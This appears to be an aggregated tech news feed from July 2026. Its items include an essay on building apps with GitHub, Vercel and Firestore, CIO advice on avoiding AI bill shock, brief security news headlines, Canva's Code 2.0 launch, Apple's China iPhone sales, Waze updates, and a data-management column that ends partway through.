I don’t need to introduce you to GitHub. It is a central element of the development landscape. I still remember CVS and SVN with a certain nostalgia, but the enhancements of Git speak for themselves. When combined with the orchestration powers of GitHub, it is no wonder that virtually the whole industry has adopted this type of platform.

Git plus GitHub gives you an enormous amount of power already, in terms of how you can organize and automate your projects. But there is a next-level experience in combining GitHub and Vercel. For JavaScript-based projects, you can take simple GitHub pushes and turn them into instantly deployed clients and serverless functions. It is one of the cleanest and least fiddly ways to move from raw code on your local machine to a globally deployed, full-stack architecture.

Vercel: the nexus

Vercel is more than just a deployment host. It is a control plane that ties this high-velocity, no-ops architecture together. Alongside GitHub and Firestore, Vercel’s deeper strength is its ability to act as an orchestration layer between your reactive front end and external stateful services.

Vercel has a great amount of facility in fine-tuning what branches go to what environment and helpful features like instant rollback. You can just log into Vercel’s dashboard for your project and see the history of deployments and any errors and logs. It’s a simple menu choice to roll back to a historical version or compare one version against another.

When you “stitch in” third-party services (such as a managed SQL database like Supabase or a payment processor like Stripe), Vercel’s serverless functions become the lightweight interface, and Vercel’s the adapters handle the communication. You offload the integration logic (the service layer) to Vercel’s global Edge Network, keeping your UI and back end clean, responsive, and decoupled.

In short, Vercel allows you to get the speed of the “no-ops” development life cycle without sacrificing the complex transactional integrity required for some applications like enterprise inventory systems.

Firestore: the datastore

Firestore is an extremely lightweight, NoSQL, cloud datastore. It has a great deal of add-on power, but its core value proposition is that it accepts virtually any data you stuff into it and it provides event-driven subscriptions to data changes.

These two capabilities together make Firestore about as straightforward a solution to a managed back end as you can imagine. You subscribe to collections or even fields and then you simply stick “unstructured” data (read: JSON with variable fields) in and the client waits for the changes it is interested in.

This is so streamlined that one can just point the browser (or native mobile app) directly at Firestore and listen for events. Which immediately raises the question of identity, for auth and for data visibility, but hold on—Firestore’s third superpower is that it has an authentication module that actually works. What I mean is, it is actually pretty simple and yet confidently secures your app.

Sometimes auth solutions seem either too simple (and yet opaque) or too mired in the nitty gritty. Firestore auth will let you do some basic configuration and start using a reasonable auth almost immediately.

Not to belabor the point, but having a realistic and attainable auth solution elevates your stack to a production grade—one that can handle many real-world applications. Firestore auth plays nicely with other important APIs, like Stripe. Typically, auth is a major feature that feels like off-roading in a Honda Civic, but Firestore’s approach to auth, added to this particular stack, feels like a normal speed bump. It’s just another component you plug in, rather than a tentacled alien you weave into the your code.

The limits of the velocity stack

This architecture combines components that are optimized for flexibility. That same character also introduces distinct limitations. Understanding these is essential before committing production workloads.

The serverless life cycle

Serverless functions are spun up to handle requests. They close out soon afterward and lose any state. For that reason, they cannot natively hold open persistent WebSockets. If your system requires continuous, sub-millisecond, bidirectional streams—like a real-time multiplayer action game or a high-frequency trading dashboard—pure serverless will fight you all the way. You are forced to introduce a third-party managed WebSocket service to route messages back to your stateless endpoints via HTTP webhooks.

The execution time ceiling

Vercel (like all serverless platforms) enforces strict timeouts on operations. While enterprise tiers might grant you up to 15 minutes, standard functions often time out after 10 to 60 seconds. Long-running tasks like video transcoding, database scripts, or orchestrating multi-step AI agent workflows, which might take 20 minutes to resolve, will run up against these limits. Heavy-lifting tasks must be offloaded to a dedicated, long-running service like Google Cloud Run, or broken into smaller, asynchronous chunks via message queues.

The cold start reality

While the industry has made massive strides in minimizing initialization times—particularly with lightweight edge networks—traditional Node.js-based serverless functions still experience cold starts. If a function has not been invoked recently, or if traffic spikes require a new instance to spin up concurrently, the first request will take a noticeable latency hit as the container provisions and the code loads.

API instead of RAM

In a traditional server environment, you can store transient data in global RAM, allowing subsequent requests to access shared context instantly. In the serverless model, every request might hit a fresh container. Therefore, all shared context must be externalized. Although Firestore serves brilliantly as the state manager, relying on a database for high-frequency, sub-millisecond, ephemeral caching introduces network latency and per-operation costs. That said, using a shared RAM state on a server is non-trivial also, unless you are using a single app server and VM (because high-availability or fail-over requirements will lessen the RAM win on a traditional server).

Tuning for velocity and control

Every architectural decision is a trade-off. There are no cost-free choices. By adopting the GitHub, Vercel, and Firestore stack, you are explicitly maximizing feature velocity over fine-grained control.

You lose the ability to tweak the underlying operating system, hold open persistent sockets, or run hour-long back-end scripts. In exchange, you gain an architecture that scales from zero to global distribution instantly, requires virtually no devops maintenance, and perfectly absorbs the asynchronous, event-driven realities of modern application development.

For the right application—whether it is a fast-moving prototype or an enterprise AI copilot—this stack doesn’t just save time; it fundamentally changes how quickly a small team (or a single person) can impact the market. You stop worrying about build chains, load balancers, and server patches, and you focus on the central mission: shipping features.

5 ways for CIOs to avoid AI bill shock

Wed, 15 Jul 2026 12:08:37 +0200

Gen AI spending is moving beyond the familiar software model of seats, licenses, and pilots. As AI shifts from copilots to embedded workflows and autonomous agents, one user request can trigger multiple model calls, retrieval steps, retries, orchestration layers, and infrastructure events. A tool that looks affordable in pilot may behave very differently once connected to production systems or allowed to act with less human supervision.

According to Michael Corrigan, CIO of World Insurance Associates, AI introduces a fundamentally different cost model — one that’s usage driven, non-linear, and tightly coupled to business activity. “Success requires shifting from traditional IT budgeting to FinOps-style discipline where consumption, value, and governance are actively managed in real time,” he says.

Here are five ways CIOs can build that discipline before AI costs spiral.

Forecast AI by workflow, not by user

At World, a top 25 insurance broker with about 3,000 employees across roughly 300 locations, AI use falls into three broad categories, Corrigan says. One is broad tools, such as copilots. Another is embedded AI inside SaaS platforms. And the third is bespoke AI built around specific workflows and manual processes.

“The bespoke is the area that’s growing the most right now,” he says. “And that’s where the model, from a cost perspective, has really been shifting from a license seat cost to a token consumption or token burn cost, or even a hybrid.”

width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px">

Michael Corrigan, CIO, World Insurance Associates

WIA

Seat-based pricing is relatively easy to forecast whereas consumption-based AI isn’t. Costs may depend on prompt complexity, output length, model choice, workflow design, and whether the system calls a model once or many times in the background.

World tries to manage that uncertainty by defining the business problem, success criteria, and expected operational improvement upfront. Pilots help estimate consumption before scaling, but Corrigan says they don’t remove the ambiguity.

“We’ll try our best in the pilot to understand what the consumption rate is, what the token burn rate is,” he says. But once a consumption-based workflow goes into production, he adds, an estimate is put into place. That estimate is informed, but still rough.

Elmer Morales, founder and CEO of koder.com, an agentic AI coding startup, says CIOs should think less about headcount and more about workflow mechanics. Agentic AI costs are driven by the number of decisions an agent makes, how often it retrieves external data, how much context it carries, and how many systems it touches.

“CIOs should start by mapping workflows, not necessarily users,” he says. “The relevant variable isn’t going to be the headcount but how many decisions an agent makes per task.”

Model the failure path, not just the happy path

Pilots can mislead because they often test the cleanest version of an AI workflow. Morales says many enterprises model agentic AI costs around the happy path: the user gives a clear prompt, the system understands the request, the agent completes the task, and the process ends. Production is messier.

“They generally don’t model for situations where the agent is going to need to go back and check its work and redo things,” Morales says. “A lot of times, agents are wrong, either because they hallucinate or they understood the problem incorrectly.”

In an agentic workflow, the system may check its work, call another tool, retrieve more data, or redo a step. While that may improve quality, it also adds cost.

width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px">

Elmer Morales, founder and CEO, koder.com

koder.com

The difference between copilots and agents is central. A copilot interaction is often one prompt and one response. An agentic workflow may involve agents moving through a decision tree, executing tasks in sequence or in parallel, and calling sub-agents or external systems along the way. “By the time it’s achieved the original goal, the agent might have made 50 or 100 model calls, compared with a single call for a traditional copilot prompt,” Morales says.

That’s why CIOs should require teams to model the failure path before production, like how many retries are allowed, how much context is resent, which tools can be called, when a human should intervene, and what happens when the agent can’t complete the task.

Build cost controls into the architecture

Traditional FinOps practices still matter, but AI requires more than retrospective dashboards and chargebacks.

According to Pavan Madduri, senior cloud platform engineer at industrial supply company Graigner, looking backward at usage data, as traditional FinOps often does, can be too late. Costs are shaped by prompt design, model selection, agent behavior, orchestration choices, and runtime loops.

“Dashboards or chargebacks, those are historical accounting,” he says. “The money’s already gone.” For AI, he argues, cost controls need to be embedded into the architecture. That includes hard token caps, retry-depth limits, maximum runtime limits, workload prioritization, background-job throttling, and cluster-level controls that prevent runaway consumption.

“The real FinOps means you need to have the cost constraints embedded into your architecture framework,” Madduri says.

Those controls also extend to infrastructure. Expensive GPUs may sit warm between jobs because systems need capacity available when inference demand arrives. Teams may pass huge schemas, databases, or thousands of lines of code into frontier models when a smaller or more focused prompt would do.

width="1240" height="828" sizes="auto, (max-width: 1240px) 100vw, 1240px">

Pavan Madduri, senior cloud platform engineer, Graigner

Graigner

Enterprises should also adopt event-driven autoscaling, Madduri says. “Use tools like KEDA to scale GPU nodes down to zero the moment inference demand drops, so teams only pay for the windows when the silicon is actively crunching tokens.”

Corrigan says World uses rate limits, spend limits, alerts, and approval gateways for consumption-based tools. When users approach token consumption limits, automated alerts allow IT and the business to review whether the continued spend is justified.

“If it’s not meeting the success criteria we expected, you have to have the control in place to say we’re going to move on or kill that process,” Corrigan says.

Route work to the right model

CIOs can also reduce AI bill shock by avoiding a default assumption that every task requires the most powerful model available. While some tasks need advanced reasoning, many others don’t. A simple support ticket, log-parsing task, or structured database transaction may be handled by a smaller or cheaper model. A complex architecture decision, legal analysis, or multi-step reasoning task may justify a more powerful one.

“Choosing the right model for the right prompt and right question — that’s where you leverage the maximum from that model, and you can decrease the costing,” Madduri says. “If you default every single call to a frontier model, that’s architectural laziness.”

Morales makes a similar point. Not every step in an agentic workflow requires a top-of-the-line model. Model routing, he says, is the discipline of determining the best model for the task, and providing the relevant context when the model needs it.

According to Jim Olsen, CTO of enterprise software company ModelOp, CIOs should use the least expensive model that can accomplish the business goal. Using the biggest model for everything is easier, but expensive. “It’s like hiring the most expensive engineer to change a few colors in a website’s CSS, or visual styling,” he says. “You wouldn’t do that. You use the appropriate tools for the task.”

Tie consumption to business value

For Olsen, the deeper enterprise problem is AI value shock, not just bill shock. Spending $200,000 in a quarter on AI is justified if it produces $2 million in business value. The problem is spending heavily on use cases that don’t generate a meaningful return.

“Are you actually getting that return on investment, or are you just blowing tokens for something that’s not delivering the value to your business?” Olsen asks. Tracking token usage by user or department may show who consumed AI, but not whether the consumption mattered.

width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px">

Jim Olsen, CTO, ModelOp

ModelOp

For most enterprise AI systems, Olsen says costs should be tied back to business use cases. A model may be used for HR document search, customer support, code review, problem resolution, or other functions. Each use case may draw on the same underlying models or agents, but the business value can be very different.

That’s why he argues that companies need an AI inventory, a record of which business workflows use which models, agents, providers, workflows, and systems. Without that inventory, enterprises can’t connect consumption to value.

Corrigan takes a similar approach from a governance perspective. At World, new AI ideas go through an intake process. Business users propose improvements, and IT, finance, operations, sales, and business stakeholders evaluate, prioritize, and monitor them from pilot through production.

That may be where the next stage of AI FinOps is heading, toward a clearer understanding of which AI consumption deserves to scale, not just to lower bills. So the question, as Olsen puts it, isn’t whether someone used a million tokens. It’s what are they using them for.

Iran Abused Mobile Networks' Vulnerabilities To Locate US Military In Middle East

Wed, 15 Jul 2026 05:53:11 +0200

An anonymous reader quotes a report from TechCrunch: The Iranian government abused well-known vulnerabilities in the global telecoms infrastructure to locate U.S. military personnel in the build-up to the Iran War, as well as in the early days of the conflict, according to Financial Times. The Iranian government exploited Signaling System 7, or SS7, a set of protocols for 2G and 3G networks that has long been the backbone of how cellular networks connect to each other to route subscribers' calls and texts around the world, the newspaper reported, citing research by the Mobile Surveillance Monitor, as well as anonymous government officials with knowledge of the spy campaign. Intelligence agencies have long abused SS7 to track cellphones abroad, which is what happened in this campaign. Using this technique, Iran was reportedly able to locate U.S. military forces stationed in military bases as well as hotels in Iraq, Bahrain, and other countries in the Middle East, which allowed the regime to strike them. These attacks resulted in several injuries. Apart from SS7, Iran also abused advertising technology used to serve tailored ads to cellphone users, another well-known surveillance technique that relies on everyday technology.

Read more of this story at Slashdot.

Miasma Turns Trusted npm Packages Into Persistent Backdoors for Developer Machines

Tue, 14 Jul 2026 19:32:20 +0200

Miasma has returned through software packages that many developers would normally trust. Four AsyncAPI packages on npm were altered to deliver a Miasma v3 payload, creating a route for long-term remote access. The campaign does not depend on malware running…

The post Miasma Turns Trusted npm Packages Into Persistent Backdoors for Developer Machines appeared first on IT Security News.

One Malicious OAuth Approval Can Give Hackers Persistent Access to Salesforce Data

Tue, 14 Jul 2026 17:41:30 +0200

One mistaken approval inside Salesforce can hand attackers a quiet, durable route into a company’s most sensitive customer records. Recent campaigns tied to tradecraft associated with ShinyHunters show how a trusted application connection, rather than a software flaw, can be…

The post One Malicious OAuth Approval Can Give Hackers Persistent Access to Salesforce Data appeared first on IT Security News.

RISC-V firmware project wants every board booting from the same hymn sheet

Tue, 14 Jul 2026 17:35:21 +0200

HFI proposes a familiar PC-style route from power-on to operating system

Miasma Turns Trusted npm Packages Into Persistent Backdoors for Developer Machines

Tue, 14 Jul 2026 17:20:19 +0200

The post Miasma Turns Trusted npm Packages Into Persistent Backdoors for Developer Machines appeared first on Cyber Security News.

One Malicious OAuth Approval Can Give Hackers Persistent Access to Salesforce Data

Tue, 14 Jul 2026 16:38:21 +0200

The post One Malicious OAuth Approval Can Give Hackers Persistent Access to Salesforce Data appeared first on Cyber Security News.

Canva launches Code 2.0, offering AI website building to every user — including free accounts

Tue, 14 Jul 2026 15:32:52 +0200

Canva on Tuesday launched Canva Code 2.0, a major upgrade to its AI-powered coding tool that lets users build interactive websites, apps, and experiences using plain-language prompts — and then edit the results as easily as tweaking a Canva presentation. The feature is now available to all of the company's more than 265 million monthly users across every pricing tier, including free accounts.

The move is Canva's most aggressive push yet into the fast-growing "vibe coding" market, a category that barely existed 18 months ago but has already minted billion-dollar startups and reshaped how non-developers think about building software. But where rivals like Lovable, Replit, and Bolt.new have focused primarily on generating functional code from text prompts, Canva is making a different bet: that the real bottleneck isn't creating the code — it's making the output actually look good.

"Most vibe coding tools stop at functional — generating output that looks the same as everyone else's," Canva states in its announcement. "You might get a working prototype, but making it actually look like yours requires a complex editing surface, a separate design tool, a developer, or endless back-and-forth prompting that rarely lands where you want it.”

Danny Wu, Canva's Head of AI Products, framed the product's positioning in stark terms during an exclusive interview with VentureBeat ahead of the launch.

"We are deliberately targeting non-technical users," Wu said. "Canva Code isn't a tool we're building for developers. What we're trying to do is bring the power of AI coding — and really lightweight coding — into the Canva platform, while answering our users' requests for more interactivity, more customization, and more flexibility, from websites to interactive presentations."

Canva Code 2.0 brings drag-and-drop editing, HTML import, and 75% faster generation to AI-built websites

The update introduces several capabilities designed to collapse the distance between generating code and publishing a polished interactive experience. Users can now create Canva Code projects directly inside other design projects — embedding interactive elements within a whiteboard, presentation deck, or standalone page. Canva has also added more than 50 new templates specifically designed for interactive designs, along with the ability to import raw HTML files from other AI coding tools and convert them into editable Canva designs.

The performance improvements are significant. Canva says it has reduced average code generation time by 75 percent and cut the median time from initial prompt to a published site by 30 percent. The company also reports that integrating Canva Code into the broader Canva editor — allowing users to treat coded outputs like any other design element — has increased active Code users by 25 percent.

Perhaps the most distinctive feature is the editing experience itself. Unlike most AI coding platforms, which require users to re-prompt or modify raw code to make visual changes, Canva Code 2.0 lets users click directly into generated elements to change text, drag and drop images from Canva's built-in library of over 120 million templates and assets, update colors and fonts through a familiar toolbar, or select a specific element and refine it through conversational AI. Every output is fully interactive and automatically adapts to different screen sizes, with a built-in mobile preview.

Wu demonstrated the drag-and-drop editing during the interview, showing how a generated conference website could be modified in real time — swapping in photos, changing fonts to branded alternatives, and editing text directly on the canvas. "The key differentiator with Canva Code is the editability and the kindness of the outputs it generates," he said, though he noted one current limitation: "We don't support moving elements around. You still have to re-prompt for that."

How Canva plans to compete with Lovable, Replit, and Bolt in the booming AI app builder market

Canva's entry into vibe coding at this scale arrives at a pivotal moment for the category. According to market research published by Luminix AI in May 2026, the vibe coding and AI app builder market has reached an estimated $4.7 billion in 2026, with projections pointing toward $12.3 billion by 2027 at roughly 38 percent compound annual growth. The research also estimates that AI-generated code now comprises approximately 41 percent of all code written globally — a figure that would have seemed inconceivable even two years ago.

The competitive landscape has grown ferocious. Lovable, which focuses on conversational, design-forward app generation for non-technical founders, has achieved what may be the fastest revenue ramp in the category's history — reportedly reaching approximately $400 million in annual recurring revenue by early 2026, according to Luminix's analysis. Replit, which transformed its browser-based IDE into a full vibe-coding engine through successive AI agent releases, has tripled its valuation to $9 billion and is targeting $1 billion in run-rate revenue by the end of 2026, per the same report. Bolt.new, which runs a full Node.js environment entirely in the browser, scaled from $4 million to $40 million in ARR within months of launching.

And then there is Canva, which brings something none of those platforms possess: a quarter-billion-user design ecosystem where brands, teams, and individuals already store their visual identities, collaborate on projects, and publish content.

Wu positioned Canva Code not as a direct competitor to these developer-focused tools but as something that fills a gap none of them have addressed. "A lot of the requests that we have been getting and the usage we're seeing is actually with using Canva Code not necessarily as just one artifact, but as part of an overall design, the visual communication they're trying to tell," Wu said. "Like when you have a sales deck, you're able to add a calculator, you're able to add a visualizer of what exactly your product does. That's something where an interactive slide can be worth a thousand pictures."

Why Canva's HTML import feature could turn it into a 'finishing layer' for every AI coding tool

One of the most strategically interesting features in Canva Code 2.0 is its HTML import capability, which allows users to take code generated by any AI tool — including ChatGPT, Claude, Lovable, or Bolt — and bring it into Canva as a fully editable design. The implication is unmistakable: Canva is positioning itself as the place where AI-generated code gets its finishing touches, regardless of where it was originally created.

When asked directly whether this amounts to positioning Canva as a "finishing layer on top of vibe coding," Wu offered a diplomatic but revealing response. "It's really a continuation of our goal to make all design as easy as possible," he said. "We've supported importing PDFs and translating them into docs, importing PowerPoint files — so in one way, it's an expansion of that. But in another way, it's really just listening to what our users want and making Canva both the most useful and the most compatible platform.”

He paused, then added: "It's not that we're deliberately positioning ourselves as a specific layer, say like a finishing layer after vibe coding. We just really want to make our platform the most accessible and the most pluggable."

That language — "most pluggable" — suggests a platform strategy that doesn't require Canva to win the AI code generation race outright. If Canva becomes the default destination for making AI-generated code look professional and on-brand, it captures value from the entire category regardless of which code generation engine users prefer. The strategy also echoes the broader import capabilities that already allow Canva to ingest PowerPoint decks and PDFs from competing platforms, gradually pulling users deeper into the Canva ecosystem without demanding they abandon existing workflows.

What Canva Code can build — and where Danny Wu says it hits its limits

Wu was notably candid about the product's boundaries — a refreshing departure from the typical Silicon Valley product launch. "Canva Code is great for anything that works as a front-end app, and it's especially good when you want to leverage data, data submissions, and interactivity at small to medium scale," he said. "I'll be honest about the limitations. Canva Code is probably not going to be suitable if you're trying to build a website with complex backends, or if you're handling hundreds of thousands of visitors per day."

This candor effectively draws a line between Canva Code and the more ambitious platforms in the space. While Lovable and Replit are pushing toward full-stack application development — complete with databases, authentication, and production-grade hosting — Canva is deliberately limiting its scope to interactive front-end experiences at modest scale. The question is whether that's a strategic weakness or a disciplined focus. For the teachers, small business owners, and marketing teams that make up the bulk of Canva's user base, complex backends and high-traffic scalability are irrelevant concerns. What matters is whether they can create an interactive event page, a property listing website, or a classroom hub that looks professional and works on mobile — without hiring a developer or learning a new tool.

When asked about the AI models powering Canva Code, Wu confirmed the company uses a combination of proprietary and third-party models, including those from OpenAI and Anthropic, but declined to specify the exact mix. "We don't share the exact mix, and it does change over time," he said. "We also route differently depending on what you're asking for and which model family we think is best for handling certain requests."

Canva's AI acquisition spree — from Affinity to Leonardo.ai — now powers its vibe coding push

Canva's broader AI infrastructure has been significantly bolstered by an acquisition strategy that has accelerated over the past two years. In March 2024, the company acquired Affinity, the British creative software suite popular with Mac users, in a deal that Bloomberg reported was valued at "several hundred million pounds." Canva at the time positioned the deal as a way to compete with Adobe's flagship products — Illustrator, Photoshop, and InDesign — by gaining ownership of Affinity's Designer, Photo, and Publisher applications.

Just four months later, Canva acquired Leonardo.ai, an Australian generative AI startup with over 19 million registered users and more than a billion images generated. Canva co-founder Cameron Adams said at the time that Leonardo.ai's technology would be integrated into Canva's Magic Studio generative AI suite.

Together with these acquisitions, Canva Code is the company's attempt to layer interactive, code-driven capabilities on top of a visual design platform that has already been enhanced by professional-grade design tools and generative AI models. The company reports over 32 billion uses of its AI products to date — a staggering figure that underscores how deeply AI is now woven into everyday Canva workflows, even for users who may not think of themselves as using artificial intelligence.

Six million sites published, but Canva's retention data remains an open question

Canva's announcement highlights an impressive traction metric: users have created and published more than six million websites using Canva Code since the feature was first introduced a year ago. But the number deserves scrutiny.

Wu clarified in the interview that the six million figure represents published websites over the past year — meaning sites that were either made public or shared via password-protected or private links. "They may have published publicly, or behind a password, or as a private link. But that's the number of published websites," he said.

When asked about active retention — how many of those sites are still live and being maintained — Wu acknowledged the gap in his data. This is a meaningful distinction. In the vibe coding market, raw creation numbers can be misleading because the barrier to generating a site is so low. The more telling metric — which Canva does not yet provide — would be how many of those six million sites receive regular traffic or have been updated after initial publication.

The early use cases, however, suggest genuine utility beyond novelty. Educators and school administrators are using Canva Code to build classroom hubs, with one teacher creating bespoke webpages for each of their classrooms to keep students and parents updated on announcements. Small businesses, like Alt Marketing School, have built mini apps for fundraising training and interactive roadmaps for their members. For World Book Day, 50 readers created educational games across different subjects, complete with pedagogical guides for classroom use.

Canva Code pricing, data governance, and what enterprise customers need to know

Canva Code 2.0 is available across all of Canva's pricing tiers, including its free plan — a notable decision given that competitors like Lovable, Bolt, and Replit reserve their most capable features for paid subscribers. "As you go from, say, free to pro to business to enterprise, you would get more AI credits and be able to have higher usage of Canva Code," Wu said. "But it is available and it is usable — even free Canva accounts as well as education and not-for-profit accounts."

This credit-based approach mirrors the pricing evolution happening across the entire vibe coding category, where platforms have converged on token or credit systems that meter AI generation capacity rather than gating features behind subscription tiers. The difference is that Canva's free tier serves as an acquisition funnel for a much larger design platform, not just for the coding feature itself.

For the institutional customers Canva increasingly courts — school districts, real estate brokerages, enterprise marketing teams — data governance is a threshold concern. Wu addressed this directly. "All users and customers have full control over how their data is used," he said. "They can choose whether their prompts and data are used for AI training in the settings. For businesses and enterprises, team admins can manage this at the organizational level and guarantee that their inputs, content, and outputs won't be used for training." This opt-out approach reflects a lesson the broader industry has learned the hard way. As The Verge reported when Canva acquired Leonardo.ai, Adobe suffered significant backlash over a policy update regarding user data and AI model training — a controversy Canva appears keen to avoid.

Canva's long-term vision: closing the gap between imagination and what non-technical users can actually build

When asked where Canva Code fits into the company's long-term trajectory — and whether Canva is building toward a full-stack app development platform — Wu steered the conversation back to the company's core audience.

"A huge part of it is reducing the gap between your imagination and what's possible, especially for everyday users — people who don't have a lot of time," he said. "They don't have time to figure out deploys or MCPs or APIs. They just want to design more interactive and more dynamic communication."

He pointed to the rapid improvement in AI model capabilities as a key accelerant. "The kind of things you can create today in one shot — like a 3D visualization of a solar system — you really couldn't have trusted the output a year ago. But today, you have a really high success rate."

Whether Canva Code becomes a durable product category or a feature that gets absorbed into the platform's broader AI workflow will depend on how quickly the company can close the gap between its current front-end focus and the full-stack capabilities that increasingly define the competition. Lovable is shipping Supabase-backed apps with authentication and databases built in. Replit's agents can execute autonomous long-running builds. Bolt.new runs entire Node.js environments in a browser tab. These are fundamentally different ambitions than making a conference landing page look good.

But Canva has never won by matching the technical depth of its competitors. A decade ago, it didn't try to out-feature Adobe — it made design accessible to the 99 percent of people who would never open Photoshop. Now, in a vibe coding market where every tool can generate a working prototype from a prompt, Canva is making the same wager it made in 2012: that for most people, the hardest part was never the building. It was making it look like it came from you.

Apple Boosts China Sales by Holding iPhone 17 Prices Steady

Tue, 14 Jul 2026 14:53:22 +0200

Apple saw a surprising jump in smartphone sales in China during the second quarter of 2026, even as the broader market continued to shrink. The company managed to grow its local shipments by an impressive 24.4 percent compared to the same time last year. This growth happened because the tech giant chose to keep phone prices steady while most of its competitors made their devices more expensive. Stable prices pushed buyers to upgrade earlier than usual Overall smartphone shipments in China dropped by 4.3 percent to roughly 66 million units this quarter. This marks the fifth straight quarter of decline for the region, highlighting a persistent slowdown in consumer spending. While brands like Xiaomi saw steep drops in sales, Apple and Huawei both recorded strong growth. Apple successfully grew its market share from 13.9 percent to 18.1 percent. Research firm IDC notes that rising component and memory costs pushed most Android phone makers to raise their prices starting in late March. Apple took a different route. Instead of raising costs immediately, it kept prices flat and offered targeted promotions on the iPhone 17. The company also warned buyers that prices would likely go up later in the year. This strategy gave hesitant shoppers a good reason to buy a new iPhone right away instead of waiting. The smartphone market faces a tough road to recovery Despite the positive quarter for Apple, the overall market remains weak. Sales during China's popular June shopping festival fell nearly 15 percent compared to 2025. IDC experts expect the market to keep sliding over the next couple of years. The decline could reach 20 percent by the second half of 2026. This drop will happen right around the time the new iPhone 18 Pro and the highly anticipated foldable iPhone are expected to hit store shelves. High storage costs are unlikely to drop before 2027, which means phone prices will stay high. Analysts do not expect a real market recovery until 2028 or 2029 at the earliest. The bright spot is that customers are just delaying their phone upgrades, not walking away from smartphones entirely.

Waze gets smarter routes and a quieter voice mode

Tue, 14 Jul 2026 14:53:19 +0200

Google is updating its popular navigation app with a set of new tools powered by its Gemini AI. The latest Waze update focuses on learning how you actually like to drive instead of just finding the mathematically fastest route. From a dedicated motorcycle setting to a quieter voice assistant, these changes aim to make your daily commute feel a bit more personal and a lot less distracting. The app suggests routes based on your past habits Waze is moving away from a single standard approach to driving directions. The app will now look at your driving history to suggest routes tailored to your preferences. If you usually pick highways over local streets with lots of stoplights, the app will start putting those highway options at the top of your list. This feature works alongside the app's existing traffic data to find a path you will actually enjoy taking. You can still pick alternative routes if you want a change of scenery. If you do not want the app to use your history, you can easily turn off personalized navigation in the settings menu. This change is currently rolling out for everyone on Android and iOS. A new voice mode cuts down on frequent interruptions Listening to a good podcast or your favorite music is tough when your GPS keeps talking over the best parts. Waze is adding a less chatty mode to fix this exact problem. When you turn this setting on, the app drastically reduces the number of spoken prompts it gives you during a drive. The instructions it does say out loud are kept short and straight to the point. You will still hear critical alerts for things like upcoming turns, lane changes, and road hazards. It just filters out the unnecessary chatter so you can focus on the road and enjoy your audio in peace. Artificial intelligence handles voice reporting and two-wheel navigation Reporting a road closure or hazard is getting much easier. You can now use the conversational reporting feature to suggest map updates using your voice. You just speak naturally to the app to flag things like closed roads or wrong addresses, and local map editors will verify the details before updating the live map. Google is also rolling out a dedicated motorcycle mode in a few select countries like Mexico, Brazil, and the Philippines. This mode uses AI to find routes and shortcuts specifically suited for two-wheeled vehicles. It also highlights hazards that matter most to riders, such as potholes, speed bumps, and narrow bridges. The addition of Gemini voice search is also being tested in beta, allowing users to ask for cheap gas stations or open coffee shops nearby. These updates show the navigation platform is focusing heavily on context and individual needs, turning a simple map tool into a smarter driving partner.

The essence of data management CIOs must embrace

Tue, 14 Jul 2026 11:08:51 +0200

Since the advent of generative AI, the use of AI in business has shifted from something we should do to something we must do to survive. Many companies are now working to utilize AI with the aim of improving productivity and creating value.

Here, I would like to pose a question to you all once again: “What is the fundamental factor that determines AI performance?”

Is it the AI model? Is it the AI tool? Or is it the AI agent?

Of course, I believe all of these are important. However, if we look at the long-term perspective, the competition among multiple companies to improve AI model performance will eventually level off, and we will eventually reach a point where every AI model is amazing!

In that context, what I believe is the most important factor influencing AI performance is the data accumulated by companies that connects to their unique strengths.

For example, if asked, “What do plants need to grow?” I would say “good water and light.”

Similarly, if asked, “What do people need to thrive?” I would say, “Kind words.”

Finally, “What does AI need to thrive?” The answer is “good data.”

I believe that the extent to which companies can genuinely understand the importance of this extremely simple principle and implement it with unwavering dedication will determine their ability to establish a competitive advantage and achieve sustainable growth.

AI is a mirror of data

As I’m sure you’re all aware, AI is by no means a magic wand. It is an entity that learns based on the data it is given and makes inferences within that scope. In other words, AI’s output depends heavily on the quality of its input data; one could say that AI is a mirror of data.

If you feed it inaccurate data, it will return inaccurate results (i.e., garbage in, garbage out)
If you feed it biased data, it will make biased judgments
Insufficient data yields only shallow insights and suggestions

In this way, AI is not smart but rather faithful to the data. Based on this premise, it becomes clear that the essence of AI utilization lies not in which tools to use, but in what kind of high-quality data to prepare and how to utilize it.

What is good data?

So, what exactly is good data?

It goes without saying that data is useless if it is merely abundant in quantity, but on the other hand, what specific qualities must good data possess?

Generally speaking, good data possesses at least the following elements.

Accuracy: Data containing many errors or noise will skew conclusions, no matter how advanced the analysis. It is important to minimize sensor errors, input mistakes and duplicates.
Completeness: Are any required fields missing, and are there too many missing values? For example, if customer data is missing information such as age, region or gender, it becomes difficult to perform meaningful analysis.
Consistency: Is data with the same meaning mixed in different formats (e.g., date formats, units, variations in notation)? This is particularly important for system integration and long-term data.
Timeliness: No matter how accurate it is, data that is too old may not be useful for decision-making. Whether real-time data is required or historical data is sufficient depends on the use case, but it is important that the data has the appropriate freshness for the purpose.
Relevance: If there is a large amount of data unrelated to the analysis objective, it becomes noise and leads to incorrect judgments. It is necessary to clearly define what the data is used for and ensure the data is appropriate for that purpose.
Reliability: The data’s source and collection method must be clear, ensuring reliability and reproducibility. Data with an unknown source or that is a black box cannot be verified later.

In summary, good data is data that is accurate, has few gaps, is consistent in meaning and notation, is collected at the appropriate time, is suitable for the purpose and comes from a reliable source.

Only when the quality of this good data is guaranteed can AI produce valuable outputs. Conversely, introducing AI with unorganized data will not yield the expected results. Many complaints, such as “We implemented AI but it’s unusable” or “The AI’s accuracy isn’t improving stem from data issues.”

Data does not organize itself naturally

The key point here is that good data does not arise naturally. On the contrary, if left unattended, data will inevitably deteriorate.

Rules become inconsistent depending on who entered the data and when
Multiple instances of data with the same meaning exist
Outdated data is scattered and left unattended
Data becomes siloed by department

These conditions are likely common in many companies.

Below is an overview of our company’s data management framework.

Akio Ueda

Broadly speaking, it consists of data governance — covering roles and structures, risk management and evaluation — and data management, which encompasses data utilization cycle management and data utilization support services. Within this framework, data utilization cycle management involves:

Needs management: We clarify the purpose and needs by asking, “What is the data being used for?” and “For whom, and in what way, does this data create value?”
Collection: We gather the necessary data based on the defined objectives. We design the process to determine what data is required (internal/external), the level of detail and frequency of collection, and how to ensure data quality.
Processing: We enhance the quality and prepare the data for use. This includes cleansing (correcting errors and missing values), standardizing formats, deduplicating and integrating data, processing structured and unstructured data separately, and assigning business and operational meaning to the data.
